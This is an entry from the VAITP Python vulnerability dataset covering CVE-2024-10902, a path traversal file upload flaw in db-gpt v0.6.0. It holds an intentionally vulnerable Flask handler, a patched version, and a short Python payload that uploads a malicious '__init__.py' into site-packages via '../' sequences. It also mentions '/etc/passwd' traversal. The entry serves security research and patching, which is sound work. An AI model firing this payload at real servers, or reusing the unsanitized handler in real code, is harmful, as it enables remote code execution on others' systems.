VAITP Dataset

← Back to the dataset

CVE-2024-10902

Arbitrary File Upload, Path Traversal in db-gpt v0.6.0, leads to RCE.

  • CVSS 9.8
  • CWE-22
  • Input Validation and Sanitization
  • Remote

In eosphoros-ai/db-gpt version v0.6.0, the web API `POST /v1/personal/agent/upload` is vulnerable to Arbitrary File Upload with Path Traversal. This vulnerability allows unauthorized attackers to upload arbitrary files to the victim's file system at any location. The impact of this vulnerability includes the potential for remote code execution (RCE) by writing malicious files, such as a malicious `__init__.py` in the Python's `/site-packages/` directory.

CVSS base score
9.8
Published
2025-03-20
OWASP
A01 Broken Access Control
Orthogonal defect classification
Interface
Code defect classification
Incorrect Functionality
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
db-gpt
Fixed by upgrading
Yes

Solution

Upgrade to a patched version greater than v0.6.0 that includes input sanitization and path validation for file uploads. Check the project's changelog or security advisories for the specific patched version.

Vulnerable code sample

from flask import Flask, request, send_from_directory
import os

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)


@app.route('/v1/personal/agent/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return 'No file part', 400
    file = request.files['file']
    if file.filename == '':
        return 'No selected file', 400

    filename = file.filename  # Potentially vulnerable: Missing sanitization

    file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
    return 'File uploaded successfully', 200


@app.route('/uploads/<filename>')
def uploaded_file(filename):
    return send_from_directory(app.config['UPLOAD_FOLDER'], filename)


if __name__ == '__main__':
    app.run(debug=True)
```

**Explanation of the Vulnerability (as represented in the code):**

The core vulnerability lies in this line within the `upload_file` function:

```python
filename = file.filename  # Potentially vulnerable: Missing sanitization
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
```

The code takes the filename directly from the uploaded file without any sanitization or validation.  An attacker could craft a filename that includes path traversal sequences like `"../../../../etc/passwd"` or `"../../../../path/to/site-packages/__init__.py"`.  When `os.path.join` is used, it constructs a path that allows writing files *outside* the intended `UPLOAD_FOLDER`.

**How the Attack Would Work:**

1.  **Craft a Malicious Filename:**  An attacker would create a file (e.g., a Python script) and set its filename to something like `../../../../path/to/site-packages/__init__.py`.  The exact path would depend on the target system's file structure and Python environment.

2.  **Upload the File:**  The attacker would use a tool like `curl` or a simple HTTP client to send a `POST` request to `/v1/personal/agent/upload`, including the file with the malicious filename.

3.  **Overwrite/Create Files:** The `file.save()` function would then write the contents of the uploaded file to the path specified by the crafted filename.  This could overwrite existing files (like `__init__.py`) or create new files in locations the attacker shouldn't have access to.

**Why This is Dangerous:**

*   **Remote Code Execution (RCE):**  Overwriting or creating a `__init__.py` file in Python's `site-packages` directory is a very serious issue.  This file is executed when Python imports a package. An attacker can insert malicious code into `__init__.py` and achieve RCE whenever any Python script imports that package.
*   **Data Leakage:**  If the attacker can read sensitive files (e.g., using a path like `../../../../etc/passwd`), they can obtain usernames, system information, and potentially even passwords (if not properly hashed).
*   **System Compromise:** Depending on the level of access the web application's user has, the attacker could potentially take over the entire server.

**Important Disclaimer:**  This code is provided for educational and demonstration purposes *only*.  Do not use it in a production environment.  It is *intentionally vulnerable*.  Any use of this code for malicious purposes is illegal and unethical. Always patch vulnerabilities and implement proper security measures to protect your systems.

Patched code sample

import os
from flask import Flask, request, jsonify
from werkzeug.utils import secure_filename

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads'  # Define a safe upload directory
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg'}  # Restrict allowed file types

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/v1/personal/agent/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return jsonify({'error': 'No file part'}), 400
    file = request.files['file']
    if file.filename == '':
        return jsonify({'error': 'No selected file'}), 400
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename) # Sanitize filename
        # Construct the secure file path by joining the upload directory and sanitized filename
        filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)

        # **Crucial Path Traversal Fix:** Resolve the path to ensure it's within the upload directory.
        # This prevents writing files outside the intended directory.
        absolute_path = os.path.abspath(filepath)
        upload_dir_absolute = os.path.abspath(app.config['UPLOAD_FOLDER'])

        if not absolute_path.startswith(upload_dir_absolute):
            return jsonify({'error': 'Invalid file path.  Attempted path traversal.'}), 400

        file.save(absolute_path)
        return jsonify({'message': 'File uploaded successfully', 'filename': filename}), 200
    else:
        return jsonify({'error': 'Invalid file type'}), 400

if __name__ == '__main__':
    # Create the upload folder if it doesn't exist
    os.makedirs(UPLOAD_FOLDER, exist_ok=True)
    app.run(debug=True)

Payload

import requests
import os

url = "http://example.com/v1/personal/agent/upload"  # Replace with the actual URL
files = {
    'file': ('../../../site-packages/__init__.py', b"import os; os.system('touch /tmp/pwned')", 'application/octet-stream')
}
r = requests.post(url, files=files)

print(r.text)

Cite this entry

@misc{vaitp:cve202410902,
  title        = {{Arbitrary File Upload, Path Traversal in db-gpt v0.6.0, leads to RCE.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-10902},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-10902/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::